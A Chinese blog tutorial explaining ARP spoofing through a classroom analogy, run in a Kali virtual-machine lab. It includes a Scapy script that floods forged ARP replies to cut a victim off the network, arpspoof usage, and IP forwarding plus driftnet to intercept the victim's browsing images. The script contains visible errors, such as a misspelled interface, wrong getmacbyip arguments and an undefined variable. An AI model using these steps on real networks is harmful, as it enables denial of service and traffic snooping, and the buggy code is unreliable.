ARP欺骗的简单实现

先瞎扯一波

说到ARP欺骗,就不得不提OSI模型,它的知识量过于巨大,我都学不过来(叹气),不过慢慢积累吧。
ARP协议(地址解析协议(英语:Address Resolution Protocol)是属于链路层的,很多东西我还不懂。。。
我先讲讲我对ARP欺骗的一些理解吧:

对于一台计算机来说,在错综复杂的网络世界,要识别它,有两个重要的识别卡,即“ip地址”和“MAC地址”,我把计算机就叫做小明吧:),MAC地址看做小明的学号(00:0c:29:90:f9:91),ip地址看做小明的座位号(192.168.40.128),小明入学后有了自己的学号,这个学号不出意外是不会改变的,而在班上,小明可能随时会调位置,他的座位号是可能会变化的,小明的学号和座位号在班上都是独一无二的,其他同学也是。

计算机就是这样,有着独一无二的MAC地址和ip地址,mac地址一般在生产的时候就确定了,而IP地址则是可以随时更改的,连不同的网就有不同的IP地址,比如我在家连的WiFi和在学校连的WiFi,我的电脑的ip是不同的,但mac地址是不会变的。那么计算机是怎样上网的呢?它怎么就可以浏览网页获取信息呢?这就要提到网关,通俗点讲就是我们的路由器,连WiFi时都少不了它,我们要浏览网页啥的都要向网关打招呼,需要网关的帮助下才能得到网页信息。假设老师就是网关(座位号一般是讲台:192.168.40.2,老师学工号有:00:50:56:fb:f4:14),小明上课想上厕所了,就必须跟老师请求,老师点头了,他才能出去。

简单说一下计算机上网的一个流程:

(假设计算机要去百度网页,这是一个不断发送数据包和接受数据包的过程,发包必须要有接受者的MAC地址)

步骤1、(计算机发出询问网关MAC地址)计算机要找到网关:谁是192.168.40.2 >>>>小明要找老师:座位号为192.168.40.2的老师是哪个

步骤2、(网关收到询问,作出应答)网关回应:192.168.40.2是在00:50:56:fb:f4:14>>>>老师回应:座位号为192.168.40.2的老师的学工号为:00:50:56:fb:f4:14

步骤3、计算机得到了网关mac地址,就开始封包,发包给网关>>>>小明知道老师的学工号,就可以跟这个学工号的老师说自己的请求

步骤4、网关得知这个请求包要发送至百度那,就给百度那发包>>>>老师知道小明要去上厕所,就跟打扫厕所的阿姨说小明要去那上厕所

步骤5、百度得到请求包就返回网关一个应答包>>>>打扫厕所的阿姨得到老师的消息后,就跟老师说可以上厕所

步骤6、网关要把应答包发给计算机,需要计算机的MAC地址:谁是192.168.40.128>>>老师得到消息后就问:谁的座位号是192.168.40.128

步骤7、计算机收到询问,发现自己就是192.168.40.128,就做出回应给网关:192.168.40.128在00:0c:29:90:f9:91>>>小明发现自己就是在192.168.40.128,就把自己的学号告诉老师

步骤8、网关的到计算机的MAC地址,就可以把应答包再封装一下发给计算机>>>老师是知道小明的学号了,就告诉学号为00:0c:29:90:f9:91的同学可以去上厕所了

步骤9、计算机收到应答包,可以看到百度网页了>>>小明得到老师的消息,就可以去上厕所了

以上差不多就是上网的基本流程了,不太专业,不好意思了,各位。

ARP欺骗原理

本来计算机与网关两个亲密无间,这是候有个第三者插足,攻击者主机,我叫他小强(学号[MAC地址]:00:0c:29:89:ce:8f 座位号[IP地址]:192.168.40.131)

1、攻击者假装自己是网关:步骤2中本来网关告诉计算机它的MAC地址是: 00:50:56:fb:f4:14,但是攻击者主机却不断地告诉计算机网关的MAC地址是:00:0c:29:89:ce:8f (攻击者主机自己的MAC地址),这样的话,计算机在步骤3中封包,再发包就不是发给网关了,而是发给攻击者主机,如果攻击者主机不对计算机法老的包做处理,计算机就无法得到回应,也就无法上网了,实现了断网攻击。(小强骗小明自己就是老师,小明就向小强请求,小强不理会他的请求,小明就上不了厕所了)

2、攻击者假装自己是计算机:步骤7中攻击者主机因为都在同一局域网内,也收到了网关的询问,本来计算机告诉网关他的MAC地址是:00:0c:29:90:f9:91 ,但是攻击者却不断地告诉网关计算机的mac地址是:00:0c:29:89:ce:8f (攻击者主机自己的MAC地址),这样步骤8网关封包后发包就不再是发给计算机,而是发给攻击者主机了,攻击者不把包再发给计算机,计算机仍然无法得到回应,也就上不了网。(小强骗老师说自己就是小明,老师把消息发给小强,小强不告诉小明老师给的消息,小明还是上不了厕所)

操作环境

我在虚拟机上装了kali和另外一台计算机,本来想用kali攻击宿主机(win10),但是貌似宿主机和虚拟机之间还有一个网关,太麻烦了,就直接在虚拟机上装了两台,另一台是被攻击者,便于操作,kali上的python都是2的。

python代码
#这里假装攻击者是网关
from scapy.all import *
interface='eht0'  #接口类型
tip='192.168.40.128' #计算机的IP地址,被攻击者
aip='192.168.40.131' #攻击者的IP地址
gip='192.168.40.2' #网关IP地址
tmac=getmacbyip('tip') #被攻击者的MAC地址
amac=getmacbyip('00:0c:29:89:ce:8f') #攻击者的MAC地址
pack=Ether(src=amc,dst=tmac)/ARP(hwsrc=amac,psrc=gip,hwdst=tmac,pdst=tip,op=2)#本来hwsrc应该是网关的MAC地址,攻击者换成了他自己的MAC地址
'''
公式:pack=Ether(src=攻击者MAC地址,dst=目标MAC地址)/ARP(hwsrc=攻击者MAC地址,psrc=要假装谁就是谁的IP地址,hwdst=目标MAC地址,pdst=目标IP地址,op=2)
'''
while 1:
	sendp(pack)

被攻击者还没被攻击前是这样的:
在这里插入图片描述
网关(192.168.40.2)MAC地址:00:50:56:fb:f4:14
在这里插入图片描述
ping baidu是通的,可以上网

攻击者发动攻击:
在这里插入图片描述
受害者它被攻击后:
在这里插入图片描述
网关mac地址变成了攻击者mac地址
在这里插入图片描述
已经断网了

kali工具arpspoof攻击
arpspoof -i <网卡名> -t <欺骗的目标> <假装是谁>

这里假装是网关
在这里插入图片描述
效果和python代码攻击是一样的,就不展示了

如果对拦截的包进行处理,受害者仍然能上网,只不过他上网的内容就被攻击者抓取到了
处理一下:

echo 1  >/proc/sys/net/ipv4/ip_forward

运用driftnet工具:
在这里插入图片描述
在这里插入图片描述
受害者浏览网页的图片就被抓到了

ps:如果您看到这,非常感谢您的观看,如果那里有错,希望路过能加以指正,非常感谢!

  • 26
    点赞
  • 62
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值